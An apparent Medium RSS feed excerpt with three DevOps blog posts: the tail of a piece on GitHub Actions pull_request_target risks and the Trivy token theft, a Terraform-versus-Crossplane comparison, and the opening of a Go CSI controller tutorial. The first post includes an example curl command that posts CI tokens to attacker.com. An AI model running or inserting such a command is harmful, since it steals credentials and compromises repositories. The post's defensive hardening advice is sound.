these token will have <strong>read only permissions.</strong></p><pre>on:<br>  pull_request:   # fork PRs: secrets are blocked automatically</pre><p>This is GitHub’s built-in protection. It is why <strong>pull_request</strong> is the recommended default.</p><p><strong>With pull_request_target (the dangerous trigger):</strong></p><p>This trigger was designed to allow workflows to <strong>comment on PRs, add labels, and request reviewers from forks</strong> because those actions need <strong>write access to the base repo</strong>. The problem: it runs with full repository permissions, and can even read secrets even for fork PRs.</p><pre>on:<br>  pull_request_target:   # fork PRs: full secrets available — dangerous</pre><p>If a workflow uses <strong>pull_request_target</strong> AND checks out PR code in the same job, the attacker&#39;s code runs with your full credentials. That is exactly what happened in the <strong>Trivy attack</strong>.</p><p>We cover <strong>pull_request_target</strong> in depth in <strong>Blog 2</strong>. For now, understand the rule:</p><p><strong><em>pull_request</em></strong><em> = attacker runs code, no secrets available. Contained.</em></p><p><strong><em>pull_request_target</em></strong><em> = attacker runs code, full secrets available. Catastrophic.</em></p><p>When workflows use the default <strong>pull_request trigger</strong>, GitHub automatically restricts tokens for <strong>fork-based pull requests</strong>. Even if attacker code executes, the token is <strong>read-only</strong> and cannot be used to modify the repository.</p><p>The real risk emerges when workflows run with elevated permissions such as with <strong>pull_request_target, internal pull requests</strong>, where untrusted code gains access to write capabilities or secrets.</p><h3>PAT vs GITHUB_TOKEN — the blast radius difference</h3><p>Even within secrets, not all credentials are equal.</p><p><strong>GITHUB_TOKEN</strong> is automatically generated <strong>per workflow run</strong>. It is scoped to a <strong>single repository</strong> and expires when the job ends. If stolen, an attacker has write access to <strong>one repo for a few minutes.</strong></p><p>A PAT (Personal Access Token) is entirely different:</p><h4>GITHUB_TOKEN:</h4><ul><li>Scope: single repo.</li><li>Lifetime: Dies when job ends.</li><li>Created by: Github automatically.</li><li>If stolen: One repo, limited time.</li></ul><h4>PAT(Personal Access Token)</h4><ul><li>Scope: Every repo the user has access to.</li><li>Lifetime: Weeks, months or forever.</li><li>Created by: A Human manually.</li><li>If stolen: Multiple repo(Entire ORG), Unlimited time.</li></ul><p>Aqua Security stored an org-scoped PAT called <strong>ORG_REPO_TOKEN</strong> as a <strong>workflow secret</strong>. When it was stolen via a <strong>pull_request_target</strong> misconfiguration, the attacker had write access across <strong>33 workflows</strong> in the entire Aqua organization not just one repo.</p><blockquote><strong>One PAT. One misconfigured trigger. Entire organization compromised.</strong></blockquote><h3>How a single misconfiguration can turn this into full repository compromise</h3><p>This token is short-lived in the <strong>GITHUB_TOKEN</strong> case it only exists for the duration of the workflow run. But short-lived does not mean safe for PATs, which live indefinitely.</p><p>An attacker does not need long-term access. They need a few seconds.</p><p>If attacker-controlled code runs in CI with access to a PAT, it can do this:</p><pre># attacker&#39;s script running inside your CI runner<br>curl -X POST https://attacker.com/collect \<br>  -d &quot;token=$ORG_REPO_TOKEN&quot; \<br>  -d &quot;github_token=$GITHUB_TOKEN&quot; \<br>  -d &quot;repo=$GITHUB_REPOSITORY&quot;</pre><p>Once the token is stolen, the attacker does not save it for later. They use it immediately push malicious code, modify workflows, poison release tags, create backdoors. By the time anyone notices, the damage is permanent.</p><p>Short-lived credentials can still lead to permanent compromise. Long-lived PATs can lead to permanent org-wide compromise.</p><p><strong>Untrusted code + credentials = compromise. The severity depends on which credentials.</strong></p><h3>What you can do right now</h3><p>You do not need to wait for Blog 2 to start protecting yourself. Three immediate actions:</p><p><strong>1. Use pull_request not pull_request_target as your default trigger</strong></p><p>Unless you have a specific reason to need write access from fork PRs, use <strong>pull_request</strong>. GitHub automatically blocks secrets from fork PRs with this trigger.</p><p><strong>2. Apply least privilege to your GITHUB_TOKEN</strong></p><p>By default <strong>GITHUB_TOKEN</strong> has broad permissions. Lock it down at the workflow level:</p><pre>permissions:<br>  contents: read       # only what you actually need<br>  pull-requests: write # only if you need to comment on PRs</pre><p>Never leave permissions unset the default is broader than you think.</p><p><strong>3. Never store a PAT where a GITHUB_TOKEN would do</strong></p><p>If your workflow only needs to read from one repo or comment on a PR, <strong>GITHUB_TOKEN</strong> is enough. A <strong>PAT</strong> is only justified when you genuinely need <strong>cross-repo or cross-org access</strong>. <strong>And if you do use a PAT, scope it as narrowly as possible and set an expiry.</strong></p><p>These three changes cost you ten minutes. They would have prevented the Trivy attack entirely.</p><h3>The takeaway</h3><p>Every CI pipeline that runs on a pull request is, by definition, a remote code execution system. The question is not whether it executes untrusted code it does. The question is what that code has access to when it runs.</p><p>The Trivy attack did not require breaking into servers, stealing passwords, or exploiting a zero-day. It required opening a pull request.</p><p><strong>In Blog 2</strong>, we look at <strong>pull_request_target</strong> a single GitHub Actions trigger that elevates this risk from &quot;attacker can run code&quot; to &quot;attacker can take over your entire organization.&quot; One word. One catastrophic misconfiguration. And how it sat unnoticed for three months in one of the most widely used security tools in the world.</p><p><strong>Next: Blog 2 “Short-Lived Token, Permanent Damage: How CI Pipelines Get Compromised in Minutes”</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c3ecb0966df" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/your-pull-request-is-executing-code-before-you-review-it-8c3ecb0966df">Your Pull Request Is Executing Code Before You Review It</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Terraform is’nt Dying. But Platform Teams Are Done With It.]]></title>
            <link>https://aws.plainenglish.io/terraform-isnt-dying-but-platform-teams-are-done-with-it-755c0203fb79?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/755c0203fb79</guid>
            <category><![CDATA[crossplane]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[infrastructure-as-code]]></category>
            <category><![CDATA[terraform]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Sat, 21 Mar 2026 13:29:01 GMT</pubDate>
            <atom:updated>2026-03-21T13:29:01.227Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YD8PiVP892DkNQyUA1z6Qw.png" /></figure><p>Ask any platform engineer who run terraform at scale and you will hear the same stories. The state file that got corrupted mid-apply. The terraform apply that took down more than it was supposed to. The drift that nobody noticed until an incident did. Terraform is execellent. But it was designed for a different job than what platform teams are doing today.</p><p>The job has changed. Platform teams in <strong>2026 are’nt just provisioning infrastructure for themselves. </strong>They’re building infrastructure APIs for other teams across multiple clouds, with developers who wants a <strong>VPC</strong> without caring what is <strong>subnet group is</strong>. <strong>Terraform’s model was’nt build for this, Crossplane’s was</strong></p><p>This Post explains the shift, why teams are moving, what crossplane actually is and what you need to understand to evaluate it honestly.</p><h3>The Real Problems With Terraform at Scale</h3><p>Terraform gets unfairly blamed for problems that are actually symptoms of a deeper mismatch. Here’s what that mismatch looks like in practice.</p><p><strong>State is fragile and it grows: </strong>Your entire infrastructure truth lives in a <strong>.tfstate file</strong>. Back it up to S3, rely on its native locking, it still breaks in ways that cost you hours of debugging. Two pipelines racing for a lock. A corrupted state from an <strong>interrupted apply</strong>. A stale local state that someone ran <strong>apply</strong> against without refreshing. And as your infrastructure grows, <strong>so does the state file hundreds of resources, thousands of attributes, all in one JSON blob.</strong> <strong>A terraform refresh</strong> against a large state can take minutes, and <strong>every plan</strong> has to load and parse the whole thing. The bigger your platform gets, the slower and more fragile the state becomes.</p><p><strong>There’s no reconciliation loop:</strong> Terraform does what you tell it. If you say create the bucket, it will create the bucket. But its job is completed there, then it stops watching. If Someone change a security group in the console, and Terraform has no idea. <strong>Drift accumulate</strong>s silently between runs. You only find out during the <strong>next plan</strong>, or during an incident. For a platform managing hundreds of resources, this is a slow-burning reliability problem.</p><p><strong>Multi-cloud and multi-region setups are painful:</strong> Terraform can target multiple clouds and regions but it doesn’t make it easy. You end up juggling separate provider blocks, separate backend configs, separate workspaces or even separate repos for each region. A three-region, two-cloud setup means coordinating state files, provider versions, and pipeline runs across all of them. There’s no unified view of your infrastructure.</p><p>It gets worse operationally. Even after setting up your main AWS Terraform installation with IAM roles, adding Azure or GCP means spinning up entirely separate Terraform instances separate backends, separate auth configurations, separate provider setups. Developers have to manually switch between these instances depending on what they’re targeting. <strong>us-east-1?</strong> One workspace. <strong>ap-south-1?</strong> Switch context. Azure resources? Different instance entirely. It&#39;s a collection of separately managed silos that happen to be run by the same tool.</p><p><strong>There’s no native RBAC:</strong> Terraform has no concept of<strong> </strong>this, developer can only run plan, not apply or this team can only touch resources in their namespace<strong>. </strong>Access control lives entirely outside Terraform in your CI/CD system, in your cloud IAM policies, in whatever conventions your team agrees on and hopes people follow. A junior engineer experimenting and a senior engineer making a production change look identical to Terraform. You build guardrails yourself, or you don&#39;t have them at all.</p><h3>What Crossplane Actually Is</h3><p><strong>Crossplane</strong> is a <strong>Kubernetes extension</strong> that <strong>turns your cluster</strong> into a universal control plane for cloud infrastructure. <em>You define cloud resources S3 buckets, RDS instances, VPCs as Kubernetes custom resources</em>. Provider controllers watch those resources and continuously reconcile actual cloud state against your declared desired state.</p><p><strong>The key word is <em>continuously</em>.</strong></p><p>There’s <strong>no</strong> <strong>apply</strong> command. No pipeline gate between intent and reality. You declare what you want, apply it to the cluster, and the reconciler owns it from there. If a <strong>resource drifts, someone deletes it manually, changes a setting in the console the controller corrects it automatically</strong>. The cluster is your state. Not a file. A living, watching control loop.</p><pre>apiVersion: s3.aws.upbound.io/v1beta1<br>kind: Bucket<br>metadata:<br> name: crossplane-bucket-xxx1234<br>spec:<br> forProvider:<br> region: ap-south-1<br> providerConfigRef:<br>   name: aws-provider</pre><p>Apply this once. The bucket is created and stays in sync with this spec indefinitely. No drift. No manual reconciliation. No wondering if what’s in your state file matches what’s actually in AWS. Every 10 minutes, Crossplane provider controllers rerun the reconciliation loop so if someone deletes a resource manually or changes a setting in the console, it gets automatically corrected. No human intervention, no pipeline trigger, no alert you have to act on. The controller just fixes it.</p><p>And <strong>there is no state file to worry about</strong>. Ever. Want to know the current state of your infrastructure? Just run <strong>kubectl get</strong> .What you see is the live, reconciled truth. The cluster itself is the state. You&#39;re not querying a JSON file that might be stale or locked or corrupted. You&#39;re querying the same API server that&#39;s actively managing your resources. That&#39;s a fundamentally different and far more trustworthy relationship with your infrastructure&#39;s ground truth.</p><h3>The Building Blocks Worth Understanding</h3><p>Crossplane has a layered model that takes a bit of time to understand. These four concepts are the ones that matter.</p><h3>1. Managed Resources</h3><p>A Managed Resource is a <strong>one-to-one mapping to a single cloud resourc</strong>e an RDS instance, a GCS bucket, an Azure VNet. This is the lowest level. You can use Managed Resources directly, but most platform teams don’t expose them to developers. They’re the raw material, not the finished product.</p><h3>2. CompositeResourceDefinitions (XRDs) — API</h3><p>An XRD lets your platform team define a custom infrastructure API a new Kubernetes resource with a schema you design. You decide what fields are exposed, what’s required, what has defaults. Everything else is an implementation detail that developers never see.</p><p>For example: a <strong>Database</strong> with just three fields engine, <strong>environment, and size . </strong>That&#39;s all a developer needs to ask for a database. Which VPC it lands in, which subnet, what encryption standard, what backup retention policy, whether it&#39;s Multi-AZ none of that is their problem. They don&#39;t know, they don&#39;t care, and that&#39;s exactly the point. Your platform team owns those decisions, baked permanently into the Composition. The developer gets a database. The platform team maintains the standard.</p><pre>apiVersion: apiextensions.crossplane.io/v2<br>kind: CompositeResourceDefinition<br>metadata:<br>  name: databases.platform.example.com<br>spec:<br>  scope: Namespaced<br>  group: platform.example.com<br>  names:<br>    kind: Database<br>    plural: databases<br>  versions:<br>    - name: v1alpha1<br>      served: true<br>      referenceable: true<br>      schema:<br>        openAPIV3Schema:<br>          type: object<br>          properties:<br>            spec:<br>              type: object<br>              required:<br>                - parameters<br>              properties:<br>                parameters:<br>                  type: object<br>                  required:<br>                    - engine<br>                    - size<br>                    - environment<br>                  properties:<br>                    engine:<br>                      type: string<br>                      enum: [postgres, mysql]<br>                    size:<br>                      type: string<br>                      enum: [small, medium, large]<br>                    environment:<br>                      type: string<br>                      enum: [staging, production]</pre><p>With <strong>scope: Namespaced</strong>, the <strong>Database</strong> resource is available directly in each team&#39;s namespace. In Crossplane v2, Claims are gone developers apply the XR directly. No separate resource kind, no extra abstraction layer. A team in the payment namespace just does:</p><pre>apiVersion: platform.example.com/v1alpha1<br>kind: Database<br>metadata:<br>  name: payments-db<br>  namespace: payments<br>spec:<br>  parameters:<br>    engine: postgres<br>    size: medium<br>    environment: production</pre><p>That’s it. <strong>kubectl apply</strong> and the platform takes it from there.</p><h3>3. Compositions — the implementation behind the API</h3><p>A Composition defines what actually gets created when someone applies a <strong>Database</strong>. It maps the high-level fields to the real Managed Resources underneath an RDS instance, a parameter group, a subnet group, a secret in Secrets Manager. One Composition can target AWS; another, for the same XRD, can target GCP Cloud SQL. Same developer-facing API, different cloud underneath.</p><pre>apiVersion: apiextensions.crossplane.io/v1<br>kind: Composition<br>metadata:<br>  name: database-aws-postgres<br>  labels:<br>    provider: aws<br>spec:<br>  compositeTypeRef:<br>    apiVersion: platform.example.com/v1alpha1<br>    kind: Database<br>  mode: Pipeline<br>  pipeline:<br>    - step: patch-and-transform<br>      functionRef:<br>        name: function-patch-and-transform<br>      input:<br>        apiVersion: pt.fn.crossplane.io/v1beta1<br>        kind: Resources<br>        resources:<br>          - name: rds-instance<br>            base:<br>              apiVersion: rds.aws.upbound.io/v1beta1<br>              kind: Instance<br>              spec:<br>                forProvider:<br>                  region: ap-south-1<br>                  dbSubnetGroupName: platform-subnet-group <br>                  vpcSecurityGroupIds:<br>                    - sg-0abc1234def56789a                 <br>                  storageEncrypted: true                   <br>                  backupRetentionPeriod: 7<br>                providerConfigRef:<br>                  name: aws-prod<br>            patches:<br>              - type: FromCompositeFieldPath<br>                fromFieldPath: spec.parameters.engine<br>                toFieldPath: spec.forProvider.engine<br>              - type: FromCompositeFieldPath<br>                fromFieldPath: spec.parameters.size<br>                toFieldPath: spec.forProvider.instanceClass<br>                transforms:<br>                  - type: map<br>                    map:<br>                      small: db.t3.micro<br>                      medium: db.t3.medium<br>                      large: db.r6g.xlarge</pre><p>Your platform team owns the XRD (the contract) and the Composition (the fulfillment). App teams own the XRs they apply in their namespaces. That separation is enforced by the Kubernetes API not by convention or documentation.</p><p>Compare this to Terraform modules. Modules are reusable but they leak details. The caller still needs to know the variables, wire up outputs, understand dependencies. There’s no real API boundary, no RBAC, no clean separation between platform and application concerns. Crossplane gives you that boundary natively.</p><h3>4. Functions — logic inside Compositions</h3><p>Early Compositions were purely declarative, which meant no conditionals, no loops, no real logic. Functions fix that. A Function is a small container that runs in the Composition pipeline it receives the current desired state and returns a modified set of resources.</p><p>The <strong>built-in function-patch-and-transform</strong> handles most common cases: field mapping, value transformation, conditional patching. For heavier logic, you can write Functions in Go, Python, or KCL.</p><pre>pipeline:<br>  - step: size-to-instance-class<br>    functionRef:<br>      name: function-patch-and-transform<br>    input:<br>      apiVersion: pt.fn.crossplane.io/v1beta1<br>      kind: Resources<br>      resources:<br>        - name: rds-instance<br>          patches:<br>            - type: FromCompositeFieldPath<br>              fromFieldPath: spec.parameters.size<br>              toFieldPath: spec.forProvider.instanceClass<br>              transforms:<br>                - type: map<br>                  map:<br>                    small: db.t3.micro<br>                    medium: db.t3.medium<br>                    large: db.r6g.xlarge</pre><p>For more complex logic, you can write Functions in Go or Python. It keeps Compositions programmable without abandoning the declarative model that GitOps depends on.</p><h3><strong>So how does it all fit together?</strong></h3><p>Think of it in two worlds the <strong>developer’s world and the platform’s world</strong> with Crossplane sitting in the middle translating between them.</p><p>The developer lives entirely in the top layer. They apply a <strong>Database or a CICDPipeline or an ObjectStorage resource in their namespac</strong>e. Three fields, maybe four. They don&#39;t see XRDs, Compositions, Managed Resources, or Functions. They don&#39;t know which subnet the database lands in, whether encryption is AES-256 or KMS, or which AWS account it&#39;s provisioned in. That&#39;s not their job.</p><p>The platform team lives in the bottom layer. They define the <strong>XRD</strong> the schema that describes what developers can ask for. They write the Composition the blueprint that maps every developer-facing field to the actual cloud resources needed to fulfill it. They install the providers and configure the ProviderConfigs. Once that’s done, they step back.</p><p>Crossplane is the bridge. The moment a <strong>developer</strong> applies their <strong>Database resource,</strong> the <strong>Crossplane controller picks it up</strong>, looks at the Composition defined for that XRD,<em> and starts mapping engine: postgres becomes spec.forProvider.engine: postgres on the RDS Managed Resource, size: large gets transformed to spec.forProvider.instanceClass: db.xxxx via a Function,</em> encryption and subnet and backup retention get injected from the Composition&#39;s defaults. The Managed Resource is created, the AWS provider controller picks it up and calls the AWS API, and the RDS instance comes alive. The developer just sees their <strong>Database</strong> move to <strong>Ready: True.</strong></p><p>Nobody handed credentials around. Nobody ran a pipeline. Nobody switched workspace contexts. The developer asked for infrastructure in the language of their platform. The platform delivered it in the language of AWS.</p><h3>GitOps Without the Plumbing</h3><p><strong>With Terraform</strong>, <strong>GitOps</strong> is something you construct. Pipelines, plan gates, apply stages, approval workflows, notifications all manually assembled, all maintained by your team. And the ecosystem around this problem tells the whole story: there’s Atlantis, Spacelift, env0, Terraform Cloud each doing CI/CD differently, each with its own opinions, its own pricing, its own quirks. There’s no standard. One team runs Atlantis on a self-hosted runner, another pays for Spacelift, another stitches it together with GitHub Actions. The result is every platform team solving the same problem in a slightly different way, none of it portable, all of it requiring maintenance.</p><p><strong>With Crossplane,</strong> <strong>GitOps</strong> is the default. Every infrastructure resource is a Kubernetes manifest. Put them in Git, point Argo CD or Flux at the repo, and Crossplane handles continuous reconciliation from there. Your entire infrastructure history is diffable and revertable. Pull requests are your change management. Rollbacks are <strong>git revert.</strong></p><p>The operational model you were building on top of Terraform is built into Crossplane.</p><h3>The Stack That’s Emerging</h3><p>Teams making this shift are converging on a coherent platform stack: <strong>Crossplane</strong> for infrastructure provisioning and drift correction, <strong>Argo CD</strong> for GitOps delivery, <strong>Backstage</strong> for the developer-facing self-service portal, and <strong>Kubernetes</strong> as the control plane tying it all together.</p><p><strong>It’s not a perfect stack.</strong> But it’s cohesive every tool has a clear role, and they compose naturally. That’s something Terraform + custom pipelines + internal tooling + Slack approvals rarely manages to be.</p><h3>The Honest Caveats</h3><p><strong>You need Kubernetes.</strong> Crossplane without K8s isn’t a thing. If your team isn’t already running Kubernetes as a foundation, the overhead of adopting it just for Crossplane is real. Terraform is the right call until you get there.</p><p><strong>Provider coverage is still catching up.</strong> AWS and GCP providers from Upbound are production-ready. But Terraform’s ecosystem has a decade of community investment. If you depend on niche services or SaaS providers, check coverage before committing.</p><p><strong>The learning curve is real.</strong> XRDs, Compositions, and Functions are a new mental model. Your first few Compositions will feel verbose. It clicks eventually but it takes longer than picking up Terraform modules.</p><p><strong>Your control plane cluster lives in a cloud too.</strong> Crossplane doesn’t float in a neutral zone your cluster runs on EKS, GKE, AKS, or somewhere, and that cloud gets the easy auth path. AWS-native authentication via IRSA is frictionless on EKS. But authenticating to Azure or GCP from an EKS cluster still requires Workload Identity Federation or ESO-managed static credentials. It’s more consistent and auditable than Terraform’s ad-hoc approach, but cross-cloud credential setup is not zero-effort. Teams usually pick a primary cloud for the control plane and accept that the others need a bit more wiring.</p><p><strong>Debugging is different.</strong> Terraform errors are immediate and Googleable. Crossplane issues surface as Kubernetes events and controller logs. The observability tooling is improving, but it’s not as beginner-friendly yet.</p><h3>The Bottom Line</h3><p>Terraform is the right tool for a team managing its <strong>own infrastructure</strong>. It’s battle-tested, broadly supported, and approachable for any engineer.</p><p>Crossplane is the right tool for a platform team building infrastructure APIs <em>for</em> other teams with self-healing resources, native GitOps, Kubernetes-native RBAC, and an abstraction model (XRDs + Compositions + Functions) that creates real API boundaries between platform and application teams.</p><p>The shift happening across the industry isn’t about Terraform being bad. It’s about the job changing. Platform teams aren’t just provisioning infrastructure anymore they’re building products. And Crossplane was designed for exactly that job.</p><p><strong>Start with the </strong><a href="https://docs.crossplane.io/"><strong>Crossplane docs</strong></a><strong>. Spend time on Compositions and Functions that’s where the model really clicks.</strong></p><p><strong>And if you want a hands-on walkthrough of building a real IDP on top of Crossplane from XRDs to a working developer portal let me know in the comments. I’m planning that as the next post.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=755c0203fb79" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/terraform-isnt-dying-but-platform-teams-are-done-with-it-755c0203fb79">Terraform is’nt Dying. But Platform Teams Are Done With It.</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built a CSI Controller in Go — Here’s What Actually Happens Behind the Scenes]]></title>
            <link>https://aws.plainenglish.io/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/51ce2cce7344</guid>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[golang]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Sun, 15 Mar 2026 04:03:29 GMT</pubDate>
            <atom:updated>2026-03-21T13:50:56.436Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXwbQ96FWl_EhmeoGauJxA.png" /></figure><p>Kubernetes storage often feels like a black box.</p><p>You create a PVC, and somehow a volume appears and gets attached to a node.</p><p>But what actually <em>makes that happen</em>?</p><p>Instead of just reading docs, I decided to build a CSI controller from scratch in Go — and this is where things started to make sense.</p><h3><strong>Why this matters</strong></h3><p>The controller component is responsible for creating and attaching volumes.</p><p>If it fails:</p><ul><li>“PVCs remain unfulfilled”</li><li>“Volumes are never created”</li><li>“Workloads depending on storage cannot run”</li></ul><p>Understanding this layer is essential if you’re building custom storage solutions or debugging CSI-related issues in production.</p><h3>CSI Driver Series — Part 4/5: Building the CSI Controller in Go</h3><ul><li><strong>Part 1</strong> — <a href="https://medium.com/@shilu4577/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2">Managing Storage in Kubernetes: A Deep Dive into CSI Drivers</a></li><li><strong>Part 2 </strong>— <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7">What Actually Happens When You Create a PVC?</a></li><li><strong>Part 3</strong> — <a href="https://medium.com/@shilu4577/how-does-volume-reaches-your-container-2bac04d94d3e">How does a volume reach your container?</a></li><li><strong>Part 4</strong> — Building a CSI Driver from Scratch in Go (Controller Side)</li><li><strong>Part 5</strong> — Building a CSI Driver from Scratch in Go (Node Side)</li></ul><h3><strong>1. Quick Recap</strong></h3><p><strong>This is Part 4 of a 5-part series on CSI Driver internals.</strong></p><p>In Part 1 we have looked into What CSI is and the two component architecture, the controller component that is deployed as Deployment and node component that is deployed as DaemonSet, and each started as a Unix Domain Socket(UDS).</p><p>In Part 2 we walked through what happens when you create PVC, the annoation based handoff between PersistenVolume Controller and external-provisioner, static vs dynamic provisioning, and How volumebindingmode changes where and when the volume gets created.</p><p>In Part 3 we followed the volume from Bound PVC all the way into running container, the VolumeAttachment Lifecycle, ControllerPublisVolume attaching the disk to a node, NodeStageVolume, NodePublishVolume formatting and mounting it into the pod.</p><p>So, Now we have understood about the full end to end flow, it is Time to build itt.</p><p>All the Code for this series lives at <a href="https://github.com/shilucloud/csi-driver-hostpath-on-steriod">https://github.com/shilucloud/csi-driver-hostpath-on-steriod</a> You can follow along by cloning the repo or reading inline as we walk through each piece.</p><h3>2. what does this driver actually do?</h3><p>It creates <strong>storage</strong> <strong>locally</strong> on the node <strong>intentionally</strong>. This design choice means you can follow along on any machine without needing a cloud account, <em>No AWS, no Azure, no GCP required</em>. All you need is a kubernetes cluster to follow along.</p><p>At the same time, I did’nt want to build a simple <strong>hostPath or emptyDir</strong> based CSI Driver. Those exists already and they skip the most interesting parts there is <strong>no real block device, no formatting, no attach step</strong>, you learn nothing about how production CSI Driver actually work.</p><h4>So I made threee specific design decisions:</h4><ul><li><strong>First</strong> : use a <strong>.img file</strong> as the <strong>backing storage</strong>. <strong>Instead</strong> of just <strong>creating</strong> a <strong>directory</strong>, the driver creates a <strong>raw image file</strong> on the node at <strong>/var/lib/hpos/&lt;volId.img&gt;</strong>. This gives us a real file that can be treated as a <strong>block device.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nsyzIp9qwTacBL-WIFIHaQ.png" /></figure><ul><li><strong>Second</strong> : attach it as a <strong>loop device</strong>. The driver uses <strong>losetup</strong> to attach the <strong>.img file</strong> as a <strong>loop device, </strong>for example <strong>/dev/loop0</strong> . This means we have an <strong>actual block device</strong> that can be formatted with a <strong>real filesystem like xfs or ntfs</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxdmE5xCd86r5abgELPHew.png" /></figure><ul><li><strong>Third: </strong>implement <strong>attachRequired: true</strong>. Unlike the official hostpath driver which skips the attach step entirely, our driver implements <strong>ControllerPublishVolume</strong> and <strong>ControllerUnPublishVolume</strong>. This means the full <strong>VolumeAttachment</strong> lifecycle works exactly as described in <strong>Part3</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2SgVEhJJTg5KgWXP_QD3A.png" /></figure><p>The result is a driver that runs entirely on a<strong> local kind cluster</strong> but exercises every part of the CSI flow that a real cloud driver like the AWS EBS CSI driver would exercise. We call it <strong>hostpath on steroids</strong>.</p><h3><strong>3. Driver Registration and Capabilities</strong></h3><p>Before we write a single line of business logic, we need to implement three things that every CSI driver must get right<strong> the CSIDriver object, the Identity Service, and the capability RPCs. </strong>These are what Kubernetes and the sidecars use to understand your driver before calling anything else.</p><h4><strong>3.1 The CSIDriver Object</strong></h4><p>Many people often overlook this object, but it serves two important purposes. First, it is used for <strong>discovery</strong>, if a user wants to know what CSI drivers are installed in their cluster they run<strong> k get csidriver</strong> . Second, and more importantly, it actually <strong>customizes the behavior of Kubernetes</strong> components like the <strong>AttachDetach controller, kubelet, and the scheduler.</strong></p><pre>apiVersion: storage.k8s.io/v1<br>kind: CSIDriver<br>metadata:<br>  name: csi.driver.hostpath.on.steriod<br>spec:<br>  attachRequired: true<br>  podInfoOnMount: false<br>  volumeLifecycleModes:<br>    - Persistent</pre><p><strong>Three fields worth understanding:</strong></p><p><strong>attachRequired</strong>: this is the most important field. It tells the AttachDetach controller and kubelet that this driver requires a volume to be physically attached to a node before it can be mounted. Setting this to true means the full VolumeAttachment lifecycle kicks in exactly what we covered in <strong>Part 3</strong>.</p><p><strong>podInfoOnMount</strong>: when set to true, kubelet passes pod information like pod name, namespace, and UID to the NodePublishVolume call. We don&#39;t need this for our driver so we set it to false.</p><p><strong>volumeLifecycleModes</strong>: this tells Kubernetes our driver supports regular PVC-based volumes. The alternative is Ephemeral for inline volumes that live and die with the pod. We only support Persistent here.</p><h4><strong>3.2 Identity Service</strong></h4><p>The Identity Service is implemented by both the controller component and the node component. It is the first thing every sidecar calls when it starts up before watching any objects, <strong>before calling any RPCs</strong>. There are three RPCs in the <strong>Identity Service: GetPluginInfo, GetPluginCapabilities, and Probe.</strong></p><p><strong>GetPluginInfo</strong></p><p>GetPluginInfo returns the <strong>name and version of the driver</strong>. Simple as it sounds, but critically important.</p><pre>func (d *Driver) GetPluginInfo(ctx context.Context, req *csi.GetPluginInfoRequest) (*csi.GetPluginInfoResponse, error) {<br> resp := &amp;csi.GetPluginInfoResponse{<br>  Name:          d.driverName,<br>  VendorVersion: d.driverVersion,<br> }<br><br> return resp, nil<br>}</pre><p>Every sidecar starts as completely stateless all it knows is the socket path passed via <strong>“ — csi-address”</strong>. It has no idea which driver it is talking to. The first thing it does is call <strong>GetPluginInfo</strong> to learn the <strong>driver name</strong>. The external-provisioner specifically uses this name to match against <strong>storageClass.spec.provisioner</strong>, if they don&#39;t match, it ignores that StorageClass entirely. This is how the sidecar knows it is talking to the right driver.</p><pre>containers:<br>        - name: node-driver-registrar<br>          image: registry.k8s.io/sig-storage/csi-node-driver-registrar:v2.16.0<br>          args:<br>            - &quot;--csi-address=/var/run/csi.sock&quot;</pre><p><strong>GetPluginCapabilities</strong></p><p>GetPluginCapabilities returns high-level information about which services this plugin implements.</p><pre>func (d *Driver) GetPluginCapabilities(ctx context.Context, req *csi.GetPluginCapabilitiesRequest) (*csi.GetPluginCapabilitiesResponse, error) {<br> resp := &amp;csi.GetPluginCapabilitiesResponse{<br>  Capabilities: []*csi.PluginCapability{<br>   {<br>    Type: &amp;csi.PluginCapability_Service_{<br>     Service: &amp;csi.PluginCapability_Service{<br>      Type: csi.PluginCapability_Service_CONTROLLER_SERVICE,<br>     },<br>    },<br>   },<br>   {<br>    Type: &amp;csi.PluginCapability_Service_{<br>     Service: &amp;csi.PluginCapability_Service{<br>      Type: csi.PluginCapability_Service_VOLUME_ACCESSIBILITY_CONSTRAINTS,<br>     },<br>    },<br>   },<br>  },<br> }<br><br> return resp, nil<br>}</pre><p>We return two capabilities here. <strong>CONTROLLER_SERVICE</strong> tells sidecars this plugin has a controller component <strong>external-provisioner and external-attacher</strong> will proceed to call <strong>ControllerGetCapabilities</strong> next. <strong>VOLUME_ACCESSBILITY_CONSTRAINT</strong> tells them this driver supports <strong>topology</strong> the scheduler and external-provisioner will use CSINode objects and node labels to build <strong>AccessibilityRequirements</strong> when calling CreateVolume.</p><p>Note the difference between <strong>GetPluginCapabilities</strong> and <strong>ControllerGetCapabilities</strong> is that <strong>GetPluginCapabilities</strong> answers “which services does this plugin have?” while <strong>ControllerGetCapabilities</strong> answers “which specific RPCs does the controller implement?” Two different 